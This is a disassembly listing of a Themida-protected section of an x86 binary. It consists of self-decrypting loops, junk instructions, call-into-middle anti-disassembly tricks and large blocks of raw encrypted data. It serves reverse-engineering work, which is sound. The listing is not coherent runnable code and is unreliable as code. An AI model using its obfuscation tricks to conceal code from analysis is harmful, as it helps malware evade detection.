; ---------------------------------------------------------------------------
db 0B0h, 0A1h, 48h
db 49h, 0E6h, 38h
; ---------------------------------------------------------------------------
loc_5F4B9F: ; CODE XREF: sub_5F4B2A+6Aj
sub esi, 1
jnz loc_5F4BBC
mov cx, 0DEC9h
jmp loc_5F4BD6
; ---------------------------------------------------------------------------
db 3Bh, 1Bh, 0ADh
dd 0E9CBA3FEh, 89788FF5h
; ---------------------------------------------------------------------------
loc_5F4BBC: ; CODE XREF: sub_5F4B2A+78j
add [ebp+7E42659h], esi
jmp loc_5F4B54
; ---------------------------------------------------------------------------
lea edi, [edx]
pop es
fimul dword ptr [ebx-488BC967h]
and [edi-1Ch], cl
inc ebx
inc esp
icebp
loc_5F4BD6: ; CODE XREF: sub_5F4B2A+82j
call near ptr loc_5F4BE4+4
jnb short near ptr loc_5F4B89+2
enter 18FFh, 0B2h
db 65h
push ebx
pop ecx
loc_5F4BE4: ; CODE XREF: sub_5F4B2A:loc_5F4BD6p
adc eax, 2B596949h
sub_5F4B2A endp ; sp-analysis failed
popf
mov eax, ds:5A07E413h
mov bh, 54h
add edx, 5F98h
mov [ebp+7E424EDh], eax
mov esi, 17B1h
or di, 89A6h
loc_5F4C07: ; CODE XREF: Themida_:005F4C9Bj
push dword ptr [edx]
clc
pop ecx
push edx
mov ebx, 85D5723h
pop ebx
add ecx, 5B799D2Eh
add ax, 0C93Dh
sub ecx, 2D7FFDFEh
mov di, 412Dh
xor ecx, 856CDBEh
call near ptr loc_5F4C3A+1
dec ebp
pop esp
and bl, [ecx+66h]
fisub dword ptr [edx+ebx]
loc_5F4C3A: ; CODE XREF: Themida_:005F4C2Dp
les ecx, [ecx-1BD5CE6Bh]
pop es
pop eax
push ecx
mov [ebp+7E42D35h], eax
pop dword ptr [edx]
pusha
jmp loc_5F4C5E
; ---------------------------------------------------------------------------
db 98h, 0F7h, 4Dh
dd 0BDD876BDh, 0EEB39153h
db 27h, 83h
; ---------------------------------------------------------------------------
loc_5F4C5E: ; CODE XREF: Themida_:005F4C4Cj
mov dx, 4B3Dh
popa
sub edx, 49D655E3h
mov [ebp+7E423A1h], ebx
add edx, 49D655DFh
mov eax, [ebp+7E4093Dh]
sub esi, 1
jnz loc_5F4C95
mov ah, 77h
jmp loc_5F4CB3
; ---------------------------------------------------------------------------
db 0DDh
dd 138DBDFAh, 0CBD16008h
db 0F7h
; ---------------------------------------------------------------------------
loc_5F4C95: ; CODE XREF: Themida_:005F4C7Ej
mov [ebp+7E40375h], esi
jmp loc_5F4C07
; ---------------------------------------------------------------------------
dd 2594A8F9h, 0A53B98FCh, 1053A66Bh, 779A70F5h
db 8Eh, 98h, 0Dh
; ---------------------------------------------------------------------------
loc_5F4CB3: ; CODE XREF: Themida_:005F4C86j
; DATA XREF: Themida_:0058482Co ...
inc edx
lodsb
xor al, 0A2h
push es
and al, 7Ch
mov ds:3BB37D7Ah, al
mov edi, 2181D40Eh
sub dh, [ebx+eax*4+6F302590h]
setalc
and eax, 98A78630h
locret_5F4CD1: ; CODE XREF: Themida_:005F4D2Dj
leave
mov esi, esi
and dh, [eax]
mov [ebp-7B79CF4Ch], ecx
cmpsb
lea eax, [edi+6Ch]
sal dword ptr [edi], 86h
mov eax, cs:259086B4h
test byte ptr [ebx], 65h
or esp, edx
sub dword ptr [edx-33h], 25128634h
jo short loc_5F4D48
dec ebx
lea esp, [eax+0Dh]
rol byte ptr [ecx], 34h
or eax, 0A274AC42h
and eax, 6933CF7Dh
sub ah, dl
add ebp, 0C33697A0h
and cl, bh
push esi
cdq
aad 0F6h
add esp, [ecx+ecx]
aam 81h
retf 34CDh
; ---------------------------------------------------------------------------
dw 4286h
; ---------------------------------------------------------------------------
and eax, 8D635170h
pusha
or eax, 0D3401D4h
dec eax
lodsb
jz short locret_5F4CD1
and [ebp-31h], bh
xor edx, ebx
or edx, esp
add dword ptr [eax+22633697h], 0DDC956CFh
mov [esi+6F302521h], edx
cwde
loc_5F4D48: ; CODE XREF: Themida_:005F4CF5j
and eax, 2AEE8630h
mov ch, 88h
and al, 25h
xor bh, cl
sbb esp, ebp
aas
add edi, ecx
fcmove st, st(7)
jns short loc_5F4DC9
sub [eax], dh
xchg al, [edx-58h]
lodsd
popa
outsb
sal dword ptr [edi], 3Eh
xchg eax, ebp
and eax, 0C6B78630h
mov ebp, 0DB0D0C3Bh
sbb dword ptr [edi-1D513758h], 0A1948822h
adc eax, 0E48DADB6h
fld dword ptr [edx+eax*2+6A234ACh]
and al, 7Ch
mov ds:3BB37D7Ah, al
mov edi, 2181D40Eh
sub dh, [ebx+eax*4+6F302590h]
setalc
and eax, 0E9838630h
add eax, 22B9A4F3h
; ---------------------------------------------------------------------------
dw 0
dd 0DE800h, 0B9C80000h, 0E0BBDE89h, 0F880AD1Dh, 0B81F0462h
dd 7533C722h, 6DC3815Bh, 66000066h
db 0BAh
; ---------------------------------------------------------------------------
loc_5F4DC9: ; CODE XREF: Themida_:005F4D5Aj
adc edx, ebp
xor esi, esi
sub [ebp+7E4209Dh], edi
loc_5F4DD3: ; CODE XREF: Themida_:loc_5F4E5Fj
mov ecx, [ebx+esi]
and eax, 0F78E839h
sub ecx, 5A3049E4h
or [ebp+7E42099h], ecx
sub ecx, 21883B5Eh
add ax, 5F62h
sub ecx, 4279C95Ah
xor edx, [ebp+7E40385h]
mov [ebx+esi], ecx
mov [ebp+7E41EF9h], esi
mov edx, [ebp+7E42649h]
sub esi, 1
js loc_5F4E1D
or [ebp+7E401F5h], edi
loc_5F4E1D: ; CODE XREF: Themida_:005F4E11j
dec esi
dec esi
dec esi
cld
cmp esi, 0FFFF9A54h
jnz loc_5F4E56
call near ptr loc_5F4E38+2
rcr cl, 0A6h
and [edx+esi*8], edx
loc_5F4E38: ; CODE XREF: Themida_:005F4E2Dp
xor [edi+66h], eax
mov eax, 0E95873DCh
das
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 0B3B56E2h, 6268088Bh, 2DF33794h, 152BF154h
db 0F3h, 8Bh
; ---------------------------------------------------------------------------
loc_5F4E56: ; CODE XREF: Themida_:005F4E27j
jnb loc_5F4E5F
mov dx, cx
loc_5F4E5F: ; CODE XREF: Themida_:loc_5F4E56j
jmp loc_5F4DD3
; ---------------------------------------------------------------------------
dd 0D4B4A57Ah, 0F7A88248h, 311894DDh, 8DD6D36Dh, 0EB2A5C8Dh
dd 28C0F07h, 52000000h, 9858958h, 8907E422h, 0E41B718Dh
dd 85C7F907h, 7E42DA1h, 5A40h, 0B8E099BEh, 0B985C710h
dd 7E422h, 23000000h, 0E41CE99Dh, 11B5FF07h, 6A07E418h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0F7C9C357h, 0FAC23544h, 0C6BF0F0Ch, 306195FFh
dd 41B207E4h, 95FF006Ah, 7E40E41h, 6FEBC08Bh, 2E173DBEh
dd 0EAE0B2D5h, 1D784338h, 0DF2BF3B5h, 52C7F511h, 0B86D94D0h
dd 0BC58686Eh, 21A2977Ah, 8CD15B78h, 3DB767D3h, 8D640B96h
dd 6ACE9154h, 8D8ED297h, 0D96B3666h, 323E60AFh, 537B966Dh
dd 17810597h, 0DA123962h, 2DDAD28h, 0B1DC605Dh, 0A5A42A7Ah
dd 0BC640CBEh, 0DBF0BAC6h, 0F7603E9Eh, 0ABCF2FA5h, 6AE1DB69h
dd 1CFE9CD0h, 0E99B4FBDh, 23h, 58DCAE26h, 7 dup(0)
dd 0E9000000h, 85Fh, 0C5597B53h, 22B6D6AFh, 8216300Ch
dd 0E5798D6Ch, 44D8F4CFh, 0F1CC856Bh, 512B41D5h, 0AB899F33h
dd 0EEB0195h, 0FFAF62F6h, 0A98AFD82h, 85145913h, 42A08577h
dd 1B331014h, 87276887h, 0A508BA37h, 0ED5613A6h, 0F00CE7B5h
dd 5169465Ch, 566E4B19h, 6F17E01Eh, 67FB13F0h, 780B6F90h
dd 0AF8B29D8h, 84E48395h, 0D000000h, 275F7B56h, 12627E59h
dd 0A04C33B0h, 0A10A1442h, 0C28BC98Fh, 0A4C09B82h, 1DC63910h
dd 600FE05Ch, 2F000000h, 0A98D36BDh, 37971145h, 0AC6FFB08h
dd 0A3788AD8h, 0CCB33092h, 4F1442A0h, 9F085973h, 7C98738Dh
dd 3914B244h, 0BBF30FEAh, 0F48FC720h, 0A017E9E2h, 58C21442h
dd 627C58F6h, 5F248F2Ah, 0FB1442A0h, 0A3E38092h, 8E0986F8h
dd 0B2EA08E2h, 2D13B717h, 25B6F4Eh, 0DFFBD6F0h, 3B7D4Bh
dd 560C0000h, 1522C7Bh, 37D20A26h, 0B20BA6DEh, 9045F062h
dd 5083141Eh, 48E6783Eh, 821D5569h, 0B1867770h, 35111442h
dd 3A15E31Bh, 8205E61Eh, 64805BC2h, 0BDE96C0Bh, 37CBE7C2h
dd 1BF49266h, 0A0F08704h, 0F55E1442h, 28678A9Ch, 57D43686h
dd 1442A0A0h, 0D5B3C52Eh, 0A6BB3258h, 1F57C013h, 0C75B7551h
dd 83BBD5B1h, 7BCBE3ACh, 42A9A0FEh, 0D45AE14h, 58C77F56h
dd 3A522F7Ch, 7A0E6702h, 366E8864h, 8A92E289h, 49FDC41Bh
dd 4CE0FAD6h, 72454D7Bh, 42A00EF5h, 0D763CC14h, 448BE4F8h
dd 39B618AAh, 1442A042h, 91E2F6D5h, 92411628h, 0EE0016F4h
dd 98DFF7D4h, 0FAD6744Eh, 95F9CEE0h, 0E55FE59Ah, 2B5Bh
dd 454D8400h, 15922269h, 1442A06Eh, 923C83ECh, 607A5639h
dd 19F49219h, 0D6EBEBFDh, 469Eh, 0AA862400h, 31BD5890h
dd 552A3C54h, 1969454Dh, 0A0453AB7h, 0F7D61442h, 0BF10ABE3h
dd 0D6ECCA56h, 1592EFC4h, 1442A06Eh, 9CB491ABh, 0FC79C964h
dd 1442A007h, 0CA116AD3h, 0F4923992h, 2BC6FE18h, 923FF19h
dd 565B70C2h, 7C296179h, 144621F1h, 4C3373F0h, 1CE3606Fh
dd 0BA144622h, 0F32B3F1Eh, 12A6FF58h, 9DE3C638h, 4B2D7B68h
dd 28441F39h, 244722F0h, 0E6548813h, 0FD358EEFh, 38542Fh
dd 53D5532h, 0E802DE6Ah, 0FDA972B0h, 11AFB9B5h, 0B4921E32h
dd 0B7EF8C9Eh, 3DD1EDC8h, 571A9966h, 313EE0h, 56670000h
dd 52296179h, 0BF21713Dh, 42A0BD42h, 9EB01914h, 0BE1943C0h
dd 47B713A6h, 1C9FD718h, 0B1015A93h, 0E41C3813h, 0D713749h
dd 8C69D490h, 560FE074h, 0AF116179h, 42A04D32h, 50A00914h
dd 42A02CD3h, 2F41AA14h, 0D775D769h, 8C73DEFEh, 4A1442A0h
dd 0E3ACCFE1h, 0B7197BCBh, 0B9243C19h, 1442A0C2h, 1C152790h
dd 13A6A14Ah, 84A07B19h, 85A57E4Ch, 4E49CC2Ch, 0DF272BDAh
dd 3585EECDh, 7B1BFCC3h, 2234093Eh, 0F50DEA00h, 5C4C10BDh
dd 773597D4h, 0D0E2FED9h, 2F0C7333h, 906D8317h, 26694078h
dd 0BD9A3888h, 0C0D26DA5h, 808765E2h, 0B9559FF1h, 0F08BC3DDh
dd 805C23A0h, 91FA8079h, 68CAA438h, 798014EBh, 8FAD8780h
dd 26BBC57h, 454D1BF0h, 9D7B1969h, 0A2B44F87h, 5621AACDh
dd 1AC65A79h, 0EC580673h, 7D4E4C93h, 5FE59A95h, 0A57E1CE5h
dd 4ED47385h, 0F4000000h, 0C3B3B82h, 3AB8182Eh, 4136B38Fh
dd 0D1742D7h, 64394BA4h, 2269454Dh, 0A06E1592h, 8BED1442h
dd 42A0690Eh, 885E514h, 1442A073h, 0B1D76DFh, 927CC32Ch
dd 2D7A5639h, 96DD3652h, 20925B70h, 38527C19h, 0F8CADC17h
dd 2Ch, 62454D87h, 0E4EEF631h, 2067C075h, 0A06E1592h, 0CDAB1442h
dd 42A0AB50h, 65BE2714h, 5639921Eh, 9E5A597Ah, 79586F05h
dd 5B70D920h, 29617956h, 4621F17Ch, 3373F014h, 0E3606F4Ch
dd 1446221Ch, 22B93EBBh, 0AC151446h, 4999F25Bh, 22956AE7h
dd 0D8411446h, 0B38EA4C6h, 0B6915F97h, 5B24629Ah, 3D59342Bh
dd 8F2DD2A9h, 63AAE057h, 0D3000000h, 29617956h, 21713D52h
dd 1BE05DBFh, 0B71442A0h, 91433C4Eh, 4013A6B9h, 20ACC6A2h
dd 36152747h, 733195CDh, 0B9EF9411h, 515C13A6h, 0FDB602DBh
dd 0EE0069BAh, 0F4661551h, 14E039FFh, 9B60DDF5h, 3713A657h
dd 496375CEh, 2B45216Ch, 0AFFF58F3h, 572BD04Dh, 3EA713A6h
dd 0B7456DEh, 0FB0D41F7h, 795608D9h, 0F9972961h, 9A77031Dh
dd 424D7082h, 659F1C6Ch, 2B13A683h, 925D2EC2h, 85F619F4h
dd 73136A52h, 597C8EE7h, 0AA2E7539h, 61795621h, 957D4E1Ah
dd 0E55FE59Ah, 435Bh, 454D8400h, 15922269h, 1442A06Eh
dd 680F8CECh, 0E61442A0h, 36D4247Dh, 6F0A4258h, 3092885Dh
dd 649CB692h, 56E2B7C9h, 7019607Ah, 8C73F052h, 4A1442A0h
dd 9FE81E1h, 208C2EF9h, 269E390Eh, 2D000000h, 2269454Dh
dd 0A06E1592h, 0C4AB1442h, 9239927Dh, 0AEB07520h, 0ECFE70A2h
dd 95DCF6D2h, 0D5B45270h, 0DCEE89C1h, 61795607h, 32E99F11h
dd 0F15EB120h, 0E98719DFh, 21BCF40Ch, 1417160Fh, 0D8A1446h
dd 39B02259h, 99BD9261h, 0D8B5CFE1h, 39162CC0h, 0E557E921h
dd 5355A392h, 9571FDE9h, 96A8437Bh, 42921C73h, 4F6342E0h
dd 9C56443Dh, 9B0413A2h, 0AED3AD4Bh, 884FDDFAh, 95CD2622h
dd 0ECC6E8FAh, 107D237Ah, 3C4E3E2Eh, 69454D67h, 19F49222h
dd 182AC5FDh, 7956C952h, 20921A61h, 951BFCE2h, 97B9CB09h
dd 0E59A95C6h, 445BE55Fh, 84000000h, 2269454Dh, 0A06E1592h
dd 83EC1442h, 9239923Ch, 0A0CCB330h, 218A1442h, 0FF19F50Fh
dd 1E3211AFh, 5B70370Ch, 349Eh, 45C22400h, 1442A0BEh, 0A0DBA01Dh
dd 0E771442h, 4F454BDh, 6F8CE593h, 4D6F4456h, 3E5C3645h
dd 0CB126B06h, 0A06E1592h, 0C4AB1442h, 5639927Dh, 7019607Ah
dd 2E79565Bh, 64FF3753h, 86DFFFD8h, 21ACA14Eh, 98151446h
dd 330FADECh, 10ED0719h, 188A64F8h, 535D10Ch, 435D6F26h
dd 3F164E66h, 910E5E50h, 13A284EFh, 8E68FC65h, 0C1F915F0h
dd 923F1426h, 0BDC78420h, 9570B329h, 4DA64179h, 347A183Bh
dd 9221AAEDh, 0A0CCB330h, 734F1442h, 4F9F0859h, 42A02DD2h
dd 2E40A914h, 0CF1F3714h, 0A00BF06Dh, 5EC71442h, 7D4E774Ch
dd 0FC1AF492h, 0E6200FEAh, 3AD5E55Fh, 0FE000000h, 0F572454Dh
dd 1442A00Eh, 0FED763CCh, 0B20BA6DEh, 0B330926Bh, 1442A0CCh
dd 0B8BEC97Bh, 97E8DD78h, 0C13E1C2Eh, 14426D3Ah, 92E82F98h
dd 607A5639h, 9E5B7019h, 2Bh, 9D20922Dh, 0F80DD673h, 558DAD86h
dd 2C4F61BAh, 92014866h, 42A06E15h, 7DC4AB14h, 16F492h
dd 3D1B2DC8h, 607A56E4h, 565B7019h, 52296179h, 0A421713Dh
dd 13A692CEh, 0D9C11C8Ch, 6ECEECC6h, 0EC45E169h, 58563958h
dd 46258B08h, 0D234144Dh, 8D57AE55h, 0B4902C1Bh, 502F419Ah
dd 578C73F0h, 320F1B8Dh, 0F647E21Ah, 2EFC348Dh, 8FA53951h
dd 0D0629AB2h, 1D61685Eh, 970C54D9h, 6F86A883h, 726B7DD6h
dd 44BA4E3Eh, 93CBE5C1h, 96CEEAC5h, 9CD49057h, 0D649FD7Ah
dd 0F391E1F9h, 2AC5FD17h, 3E0F618h, 89C1DDB8h, 698962EEh
dd 53D9631h, 7E3D5837h, 8889F1E8h, 23DA126Bh, 4825184Ch
dd 0A9869C30h, 3D35991h, 62000000h, 7E563E8Dh, 7956245Ch
dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh
dd 94703E76h, 9B74427Ah, 50EE437Bh, 405E089h, 83000000h
dd 48704E8h, 14895C24h, 20596824h, 0C890000h, 446F6824h
dd 34890000h, 54685224h, 5A4E931Dh, 0DAF7DAF7h
dd 37A9F281h, 81524978h, 15982434h, 81595DBEh, 0BE1598F1h
dd 0D3685A5Dh, 89000035h, 4812424h, 424h, 89505E00h, 8BB53C8h
dd 1000000h, 5B0389F3h, 2434FF58h, 4C4815Eh, 8B000000h
dd 8957240Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h, 4AADE95Ch
dd 8F67FFF9h, 7A86D45Ah, 32A2CE59h, 0B81535A9h, 7EB32C8h
dd 0E0FFC503h, 52314E61h, 0EF90DB1h, 346269C5h, 11A71D75h
dd 3C183A42h, 702AD36Ch, 5E82DA27h, 0C3C6F21h, 79C137CBh
dd 26BA9D27h, 4936D896h, 0FE8h, 3D43EB00h, 0FB97990Ah
dd 69ED9450h, 80C09485h, 68D0Fh, 0C1810000h, 5F764A80h
dd 0AE95Bh, 3FAB0000h, 218C9F1Fh, 0FB09AEC2h, 7080C381h
dd 0F7810000h, 35E331A5h, 0BAh, 0B2B86600h, 1A34FF27h
dd 8360B966h, 0FBE1BF5Eh, 0C6811A75h, 527CFFDDh, 10E960h
dd 0F62C0000h, 3A49245Fh, 57A4CCBBh, 5B302DB7h, 0ACB865E9h
dd 612352B9h, 78C8C681h, 0AE97E3Ah, 2A000000h, 6A21E4A5h
dd 41C63590h, 44C68129h, 0F5419D5h, 58Bh, 0C8816600h, 348934B2h
dd 0CAB96613h, 81E28A1Fh, 77E9F6EAh, 74B86664h, 0F2C28159h
dd 666477E9h, 81D075B9h, 0FF9044FAh, 82850FFFh, 0E9FFFFFFh
dd 5, 9807E8EAh, 438D8D5Ch, 6A07EB35h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0BECBC352h
dd 245F0E99h, 1B718D89h, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0F4D807C3h, 0BE9B5F0h
dd 0D4000000h, 0AC4BC82h, 0EF3B6A1Ah, 85C7F44Bh, 7E42DA1h
dd 7110h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 0BAC35242h, 0D781AAEAh, 672FA89Ch, 22B985C7h, 7E4h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 1B84A4C3h, 7A5A9D64h, 51858985h, 907E423h
dd 0E40E618Dh, 0DFBF0F07h, 6A5B5FFh, 0BA6607E4h, 95FF67EBh
dd 7E43061h, 2C6DB501h, 6AFC07E4h, 4195FF00h
db 0Eh, 0E4h
; ---------------------------------------------------------------------------
loc_5F59CE: ; DATA XREF: Themida_:005832ECo
pop es
mov eax, eax
jmp short loc_5F5A10
; ---------------------------------------------------------------------------
aas
db 26h
or ebx, esp
push ebp
les ecx, [ebp-64h]
lds esi, [edx]
retn 8161h
; ---------------------------------------------------------------------------
dd 0EB8EE85Bh, 0FD771F67h, 672F8D01h, 6D12AA13h, 0A46D0876h
dd 0DEE5EC96h, 3D8926BFh, 267F0D88h, 35F915C9h, 1384DC65h
dd 886214D1h, 31D0B5E8h
; ---------------------------------------------------------------------------
loc_5F5A10: ; CODE XREF: Themida_:005F59D1j
lea ecx, [ebp+7EB3641h]
clc
mov [ebp+7E42B39h], edi
mov [ebp+7E41B71h], ecx
jmp loc_5F5A2E
; ---------------------------------------------------------------------------
fmul dword ptr [esi+7625B61Bh]
loc_5F5A2E: ; CODE XREF: Themida_:005F5A23j
mov dword ptr [ebp+7E42DA1h], 6D3Ch
push 0
push esi
call sub_5F5A43
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F5A43 proc near ; CODE XREF: Themida_:005F5A3Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5F5A43 endp
; ---------------------------------------------------------------------------
pop es
mov eax, ds:0BD8B0675h
fld qword ptr [esp]
pop es
mov ebx, [ebp+7E426F9h]
mov dword ptr [ebp+7E422B9h], 0
push 0
push edi
call sub_5F5A78
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F5A78 proc near ; CODE XREF: Themida_:005F5A70p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5F5A78 endp
; ---------------------------------------------------------------------------
dd 0BD38D464h, 956493F3h, 9EF8BFC7h, 7E84596h, 0D2000000h
dd 6203294Bh, 0B58BED2Dh, 7E424ADh, 15B5FF5Eh, 8A07E41Eh
dd 198D29FEh, 0FF07E426h, 0E4306195h, 9D8B5207h, 7E41C15h
dd 0FF006A5Ah, 0E40E4195h, 0EBC08B07h, 0C9C31879h, 95CDFCE8h
dd 0BA7DD836h, 641FDE45h, 0F4555361h, 0D77AFCBFh, 0B7177C4Bh
dd 9838096Dh, 14DA3687h, 0C8C9E3DDh, 0A4BFEC30h, 43025398h
dd 0CC61C74Ah, 2AD9ECEAh, 0D5CDBC01h, 8F679BDFh, 7A86D45Ah
dd 32A2CE59h, 0DD1535A9h, 138DBDFAh, 0CBD16008h, 0BB7126F7h
dd 9544D79Dh, 582EF027h, 0F694E312h, 17049A77h, 48BBC66Fh
dd 11377253h, 0FF4659Dh, 1147D850h, 8D8DBF8Dh, 7EB375Dh
dd 0A198D89h, 8D8907E4h, 7E41B71h, 15D5CA81h, 85C70FA4h
dd 7E42DA1h, 5E04h, 5E8h, 7EECC100h, 9589D51Eh, 7E40F85h
dd 0B985C758h, 7E422h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0BC42C351h
dd 0EE814104h, 38503BE2h, 0AEDB5FFh, 8F0F07E4h, 0Ch, 68E0Fh
dd 950B0000h, 7E401A1h, 306195FFh, 12E907E4h, 9B000000h
dd 7FC9000Dh, 493F8582h, 0AD9F86B3h, 0D57D95BAh, 0FF006A8Fh
dd 0E40E4195h
; ---------------------------------------------------------------------------
loc_5F5BE8: ; DATA XREF: Themida_:00582EA4o
pop es
mov eax, eax ; CODE XREF: Themida_:005F5C65j
jmp short loc_5F5C57
; ---------------------------------------------------------------------------
db 0BBh, 0F0h, 0D2h
dd 0E442BD41h, 5F4C6E54h, 0E3BBAFBAh, 9116E14Fh, 9C34B698h
dd 60D1922h, 0D0336993h, 0F38CF1AFh, 0FDD6EFD0h, 9F2B33EAh
dd 0C394DE38h, 218D0BE5h, 0F06C85B1h, 0C466FBBDh, 8F95DC24h
dd 5EFD2218h, 0D5EB24B1h, 761FE0EDh, 0FA96CACAh, 0D35825B8h
dd 48C14493h, 0DD286A69h, 0A40D772Fh, 74AD8936h, 5D6A0C24h
; ---------------------------------------------------------------------------
cwde
mov dl, 0E5h
loc_5F5C57: ; CODE XREF: Themida_:005F5BEBj
call near ptr loc_5F5C6F+1
xchg eax, esp
loop near ptr loc_5F5CB2+4
cmc
sub eax, 61939EF6h
loopne near ptr loc_5F5BE9+1
clc
setz byte ptr [edx+316DAFFCh]
loc_5F5C6F: ; CODE XREF: Themida_:loc_5F5C57p
test al, 0BBh
imul edi, ds:895E03C7h, 0E41C45BDh
pop es
add esi, 673Fh
push edi
jmp loc_5F5C97
; ---------------------------------------------------------------------------
dd 1553219Fh, 5A83BA4Bh, 6137C2E0h
db 5Ch, 36h, 0D1h
; ---------------------------------------------------------------------------
loc_5F5C97: ; CODE XREF: Themida_:005F5C83j
pop ecx
push 0
mov [ebp+7E42785h], esi
pop eax
mov edx, 542A2DEBh
loc_5F5CA9: ; CODE XREF: Themida_:005F5D13j
mov edi, [esi+eax]
mov [ebp+7E42375h], edx
loc_5F5CB2: ; CODE XREF: Themida_:005F5C5Dj
sub edi, 49CB1219h
pusha
mov esi, 444E959Ah
pusha
jmp loc_5F5CCA
; ---------------------------------------------------------------------------
dd 675004EDh
db 0EAh, 0B5h
; ---------------------------------------------------------------------------
loc_5F5CCA: ; CODE XREF: Themida_:005F5CBFj
mov [ebp+7E4167Dh], ebx
popa
popa
sub edi, 4161CD29h
add [ebp+7E407ADh], eax
xor edi, 2C0B0511h
movsx edx, cx
mov [esi+eax], edi
mov bh, 0BDh
sub [ebp+7E42C05h], ecx
sub eax, 4
jmp loc_5F5D0D
; ---------------------------------------------------------------------------
dw 6611h
dd 4D84A682h, 0CBECDCh, 757DF527h, 0F925FBEAh
; ---------------------------------------------------------------------------
movsd
loc_5F5D0D: ; CODE XREF: Themida_:005F5CF5j
cmp eax, 0FFFF997Ch
jnz loc_5F5CA9
mov bh, 25h
lea ecx, [ebp+7EB395Ah]
mov bx, si
mov [ebp+7E41B71h], ecx
push 0
push ecx
call sub_5F5D35
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F5D35 proc near ; CODE XREF: Themida_:005F5D2Dp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5F5D35 endp
; ---------------------------------------------------------------------------
cdq
xchg esp, [ecx]
sub esp, [ebp+2CD23DDBh]
sub [ebp+7E40DB9h], esi
jb loc_5F5D60
mov [ebp+7E41DD9h], eax
loc_5F5D60: ; CODE XREF: Themida_:005F5D54j
mov [ebp+7E41429h], eax
mov dword ptr [ebp+7E42DA1h], 6778h
jmp loc_5F5D81
; ---------------------------------------------------------------------------
db 0C5h, 0DBh, 9Dh
dd 7CD353B7h, 4E26AA5Fh
db 82h
; ---------------------------------------------------------------------------
loc_5F5D81: ; CODE XREF: Themida_:005F5D70j
mov dword ptr [ebp+7E422B9h], 0
xor edi, 370ADBC1h
push dword ptr [ebp+7E41D5Dh]
add edx, [ebp+7E40989h]
call sub_5F5DB2
or al, 13h
cmp [ecx+523E80C3h], eax
and [eax], ecx
scasb
xchg eax, edi
mov dh, 0F9h
sal ch, 1
; =============== S U B R O U T I N E =======================================
sub_5F5DB2 proc near ; CODE XREF: Themida_:005F5D9Dp
or dh, 0FAh
pop ebx
call dword ptr [ebp+7E43061h]
push 0
push edx
call sub_5F5DC7
and [edx-3Dh], bl
sub_5F5DB2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5F5DC7 proc near ; CODE XREF: sub_5F5DB2+Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5F5DC7 endp
; ---------------------------------------------------------------------------
push ecx
imul dl
dec byte ptr [edi]
mov bh, 0D3h
push 0
call dword ptr [ebp+7E40E41h]
mov eax, eax
jmp short loc_5F5E45
; ---------------------------------------------------------------------------
dw 7ECFh
dd 0FFF159Fh, 23C0EDB5h, 9C85A177h, 356B829Dh, 0B3AE4CAFh
dd 0E1C5E5FDh, 0AF8EE42Ch, 2BDFE50Fh, 44DEE88Bh, 0BA7F7122h
dd 88535E4Fh, 98D58CF3h, 336552BAh, 910B89ACh, 1C1A4C3Bh
dd 78534EF9h, 2357A08Dh, 0B0198F7Ch, 0FDC76D9h, 0A22C7748h
dd 84ED3198h, 0BF33BE02h
db 65h
; ---------------------------------------------------------------------------
loc_5F5E45: ; CODE XREF: Themida_:005F5DE8j
call near ptr loc_5F5E56+2
sbb ecx, ebx
popa
sub [edx], bl
loc_5F5E4F: ; CODE XREF: Themida_:005F5EB8j
add [esi+ecx*2+7E9E9B18h], bl
loc_5F5E56: ; CODE XREF: Themida_:loc_5F5E45p
fdiv dword ptr ds:0B0A9C981h
xor [edi], bh
pop eax
mov edx, [ebp+7E4233Dh]
add eax, 6460h
mov [ebp+7E41CC5h], esi
xor edi, edi
pusha
mov [ebp+7E41C59h], esi
xor ax, 2B6Dh
popa
loc_5F5E80: ; CODE XREF: Themida_:005F5EE2j
push dword ptr [edi+eax]
jmp loc_5F5E90
; ---------------------------------------------------------------------------
dd 67E60E7Bh, 0CF96D910h
; ---------------------------------------------------------------------------
loc_5F5E90: ; CODE XREF: Themida_:005F5E83j
pop ebx
mov [ebp+7E43049h], esi
sub ebx, 405773E1h
mov edx, ebx
xor ebx, 48268EB2h
mov ecx, [ebp+7E41B69h]
add ebx, 360F9B94h
jmp loc_5F5EBB
; ---------------------------------------------------------------------------
dw 6459h
; ---------------------------------------------------------------------------
jmp short loc_5F5E4F
; ---------------------------------------------------------------------------
db 0C4h
; ---------------------------------------------------------------------------
loc_5F5EBB: ; CODE XREF: Themida_:005F5EB1j
push ebx
jge loc_5F5EC5
mov cx, bx
loc_5F5EC5: ; CODE XREF: Themida_:005F5EBCj
pop dword ptr [eax+edi]
or [ebp+7E429C1h], esi
mov ecx, 227264ABh
sub edi, 4
sub edx, [ebp+7E42D9Dh]
cmp edi, 0FFFF9C3Ch
jnz loc_5F5E80
mov dl, ch
jmp loc_5F5FD7
; ---------------------------------------------------------------------------
pop ebp
xor eax, 9CD74848h
inc ebp
retf 0C8C3h
; ---------------------------------------------------------------------------
db 0E1h, 0B6h, 0DAh
dd 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h
dd 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h
